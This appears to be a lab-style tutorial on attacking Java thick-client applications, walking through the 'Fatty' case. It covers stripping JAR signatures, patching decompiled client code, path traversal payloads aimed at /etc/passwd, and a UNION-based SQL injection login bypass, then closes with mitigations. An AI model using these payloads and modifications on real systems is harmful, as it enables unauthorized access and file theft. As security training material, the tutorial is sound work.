Keyboard shortcuts

Press ← or β†’ to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

Exploiting Web Vulnerabilities in Thick-Client Applications

Thick client applications with three-tier architecture communicate with backend servers to access databases. This server communication introduces web-specific vulnerabilities (SQL injection, path traversal, XXE, etc.) that can be exploited despite the additional network layer.


Three-Tier Architecture Vulnerabilities

While three-tier architecture prevents direct database access, it introduces new attack surfaces:

Thick Client
    ↓ (May validate input)
Application Server
    ↓ (Vulnerable to web attacks)
Database Server

Key insight: Input validation on the client can be bypassed by modifying the client code, allowing unvalidated input to reach the server.


Reconnaissance: Configuration File Analysis

Identifying Backend Communications

Extract and analyze configuration files:

# Extract JAR file contents
jar xf application.jar

# Search for configuration files
find . -name "*.xml" -o -name "*.properties" -o -name "*.conf"

# Look for connection details
grep -r "host\|port\|server\|database" . --include="*.xml" --include="*.properties"

Spring Framework Configuration

Spring framework applications use XML configuration files (beans.xml) for dependency injection:

<!-- Connection configuration -->
<bean id="connectionContext" class="package.ConnectionContext">
    <constructor-arg index="0" value="server.example.com"/>
    <constructor-arg index="1" value="8080"/>
</bean>

<!-- Credentials and secrets -->
<bean id="secretHolder" class="package.SecretHolder">
    <property name="secret" value="hardcodedsecret123"/>
</bean>

Extract sensitive data:

  • Server hostnames and ports
  • Hardcoded credentials
  • API keys and secrets
  • Encryption keys

Modifying Configuration Files

Change backend server address:

<!-- Original -->
<constructor-arg index="1" value="8000"/>

<!-- Modified (to intercept traffic) -->
<constructor-arg index="1" value="8080"/>

Update hosts file to redirect traffic:

# Windows: C:\Windows\System32\drivers\etc\hosts
10.10.10.1   server.example.com

# Linux: /etc/hosts
10.10.10.1   server.example.com

JAR File Modification & Signature Bypass

JAR Structure

application.jar
β”œβ”€β”€ META-INF/
β”‚   β”œβ”€β”€ MANIFEST.MF
β”‚   β”œβ”€β”€ 1.RSA          (Digital signature)
β”‚   β”œβ”€β”€ 1.SF           (Signature file)
β”‚   └── maven/
β”œβ”€β”€ htb/
β”‚   └── package/
β”‚       └── Class.class
└── config.properties

Signature Validation

Java applications verify JAR integrity using:

  1. SHA-256 hashes in MANIFEST.MF
  2. Digital signatures (1.RSA, 1.SF files)

Bypass Signature Validation

Step 1: Extract JAR contents

jar xf application.jar

Step 2: Modify files

Edit configuration files or decompiled classes.

Step 3: Remove signature files

rm META-INF/1.RSA
rm META-INF/1.SF

Step 4: Clear hash values from MANIFEST.MF

# Before
Name: htb/package/Class.class
SHA-256-Digest: abc123def456...

# After (remove all Name: and SHA-256-Digest entries)
Manifest-Version: 1.0
Main-Class: htb.package.Starter

Important: MANIFEST.MF must end with a newline character.

Step 5: Rebuild JAR

jar -cmf META-INF/MANIFEST.MF application-modified.jar *

Decompilation & Modification

Decompile using JD-GUI:

jd-gui application.jar
# Save all sources: Menu β†’ Save All Sources

Modify source code:

Change hardcoded values, authentication logic, or API endpoints.

Recompile modified classes:

javac -cp application.jar ModifiedClass.java

Replace compiled class files:

# Extract original JAR to 'raw' directory
cp application.jar raw/
cd raw
jar xf application.jar

# Copy modified class files
cp ../ModifiedClass.class htb/package/ModifiedClass.class

# Rebuild
jar -cmf META-INF/MANIFEST.MF ../application-modified.jar *

Path Traversal Vulnerabilities

Case Study: File Browser Exploitation

Vulnerable code (server-side):

public String showFiles(String folder) {
    // No validation on 'folder' parameter
    File dir = new File("/opt/app/files/" + folder);
    return listFiles(dir);
}

Exploitation:

  1. Identify file path structure:

    • Application shows files from: /opt/app/files/notes/
    • Target: Read files outside intended directory
  2. Craft path traversal payload:

    ../../../../../../etc/passwd
    ../../../sensitive.txt
    
  3. Modify client code to send traversal:

    Original code in ClientGuiTest.java:

    response = invoker.showFiles("notes");
    

    Modified code:

    response = invoker.showFiles("../../../");
    
  4. Filter bypass:

    If server filters / character:

    ..\\..\\..\\etc\\passwd    (Windows)
    ..%2f..%2f..%2fetc%2fpasswd  (URL encoding)
    
  5. Download sensitive files:

    Modify open() function to save files:

    public String open(String folder, String filename) {
        // ... send request ...
        byte[] content = response.getContent();
        FileOutputStream fos = new FileOutputStream(
            System.getProperty("user.home") + "/Desktop/" + filename);
        fos.write(content);
        fos.close();
        return "File saved to desktop";
    }
    

SQL Injection Attacks

Vulnerable Pattern

Server-side code:

rs = stmt.executeQuery(
    "SELECT id,username,email,password,role FROM users " +
    "WHERE username='" + user.getUsername() + "'"
);

Vulnerability: Username is directly concatenated into SQL query without sanitization.

Exploitation Technique: UNION-Based Injection

Normal query:

SELECT id,username,email,password,role FROM users 
WHERE username='qtc'

UNION injection payload:

SELECT id,username,email,password,role FROM users 
WHERE username='admin' UNION SELECT 1,'hacker','h@ck.com','mypass','admin'

Result: Server returns fake user entry with controlled password and admin role.

Bypassing Client-Side Hashing

Client-side password processing:

public void setPassword(String password) {
    String hashString = username + password + "clarabibisecret";
    MessageDigest digest = MessageDigest.getInstance("SHA-256");
    byte[] hash = digest.digest(hashString.getBytes());
    this.password = DatatypeConverter.printHexString(hash);
}

Problem: Password is hashed using username, making standard SQL injection impossible.

Solution: Modify client code to send plaintext password.

Modified code:

public void setPassword(String password) {
    // Send plaintext instead of hash
    this.password = password;
}

Now SQL injection works:

username = "admin' UNION SELECT 1,'attacker','a@b.com','plainpass','admin"
password = "plainpass"

Resulting SQL query:

SELECT id,username,email,password,role FROM users 
WHERE username='admin' UNION SELECT 1,'attacker','a@b.com','plainpass','admin'

Authentication logic:

// Query returns attacker's fake record
if (retrievedPassword.equals(suppliedPassword)) {
    return loginSuccess();
}

Since both are plaintext and match, login succeeds with admin privileges.

Error-Based SQL Injection

Extract information from error messages:

Vulnerable code:

try {
    rs = stmt.executeQuery(query);
} catch (SQLException e) {
    logger.logError("Failure with SQL query: ==> " + query);
    logger.logError("Exception: " + e.getMessage());
}

Exploit:

  1. Trigger SQL error with invalid syntax:

    username: qtc' (incomplete quote)
    
  2. Check error logs for:

    • Database version
    • Table/column names
    • Query structure
  3. Use information for crafted UNION injections


Complete Attack Scenario: Fatty Client Case Study

Step 1: Discover Configuration

Find port configuration:

strings fatty-client.jar | grep -i "port\|host"
# Output: server.fatty.htb, 8000

Extract JAR and modify beans.xml:

<constructor-arg index="1" value="1337"/>  <!-- Changed from 8000 -->

Step 2: Bypass Signature Validation

# Remove signature files
rm META-INF/1.RSA META-INF/1.SF

# Clear MANIFEST.MF hash values
cat > META-INF/MANIFEST.MF << 'EOF'
Manifest-Version: 1.0
Main-Class: htb.fatty.client.run.Starter

EOF

# Rebuild JAR
jar -cmf META-INF/MANIFEST.MF fatty-client-mod.jar *

Step 3: Exploit Path Traversal

Decompile and modify ClientGuiTest.java:

// Original
response = invoker.showFiles("configs");

// Modified
response = invoker.showFiles("../");

Rebuild and deploy modified JAR.

Result: Access parent directories and find fatty-server.jar.

Step 4: Download Server Application

Modify Invoker.java open() function:

public String open(String folder, String filename) {
    this.action = new ActionMessage(this.sessionID, "open");
    this.action.addArgument(folder);
    this.action.addArgument(filename);
    sendAndRecv();
    
    // Download file to desktop
    String desktopPath = System.getProperty("user.home") + 
                         "\\Desktop\\" + filename;
    FileOutputStream fos = new FileOutputStream(desktopPath);
    byte[] content = this.response.getContent();
    fos.write(content);
    fos.close();
    
    return "File saved to " + desktopPath;
}

Step 5: Analyze Server Application

Decompile fatty-server.jar using JD-GUI.

Find vulnerable login code in FattyDbSession.class:

rs = stmt.executeQuery(
    "SELECT id,username,email,password,role FROM users " +
    "WHERE username='" + user.getUsername() + "'"
);

Step 6: Craft SQL Injection Payload

Modify User.java to send plaintext password:

public void setPassword(String password) {
    this.password = password;  // Don't hash
}

Rebuild fatty-client with modified code.

Login payload:

  • Username: test' UNION SELECT 1,'hacker','h@ck.com','pass123','admin
  • Password: pass123

Result: Login as admin user.


Common Vulnerable Patterns

PatternVulnerabilityRisk
String concatenation in SQLSQL InjectionCRITICAL
Direct file path concatenationPath TraversalHIGH
Client-side validation onlyAuthentication bypassCRITICAL
Hardcoded credentialsCredential theftCRITICAL
No signature validationCode modificationHIGH
Error messages show SQLInformation disclosureMEDIUM
Unencrypted backend communicationMITM attacksHIGH

Testing Methodology

  1. Extract and analyze configuration files

    • Find server addresses and ports
    • Identify authentication mechanism
    • Note hardcoded secrets
  2. Modify JAR files

    • Decompile using JD-GUI
    • Identify vulnerable functions
    • Modify code to remove validation
  3. Test for input validation bypasses

    • Path traversal
    • SQL injection
    • Command injection
  4. Escalate privileges

    • Modify role assignments
    • Create admin users
    • Bypass authentication
  5. Download sensitive files

    • Extract server applications
    • Access database files
    • Retrieve configuration

Assessment Checklist

  • Extract JAR/EXE files and analyze configuration
  • Identify backend server and port
  • Check for signature validation
  • Decompile and review authentication code
  • Test for path traversal vulnerabilities
  • Test for SQL injection in login and queries
  • Attempt to bypass client-side validation
  • Modify client code and rebuild application
  • Craft privilege escalation payloads
  • Download and analyze server components
  • Document all modifications and payloads

Mitigation Strategies

For developers:

  1. Input validation: Sanitize and validate all user input
  2. Parameterized queries: Use prepared statements for SQL
  3. Code signing: Properly sign and validate JARs
  4. Server-side validation: Never trust client-side checks
  5. Encryption: Encrypt sensitive data in transit and at rest
  6. Error handling: Don’t expose SQL errors to users
  7. Access control: Implement role-based access on server
  8. Logging: Log and monitor suspicious activities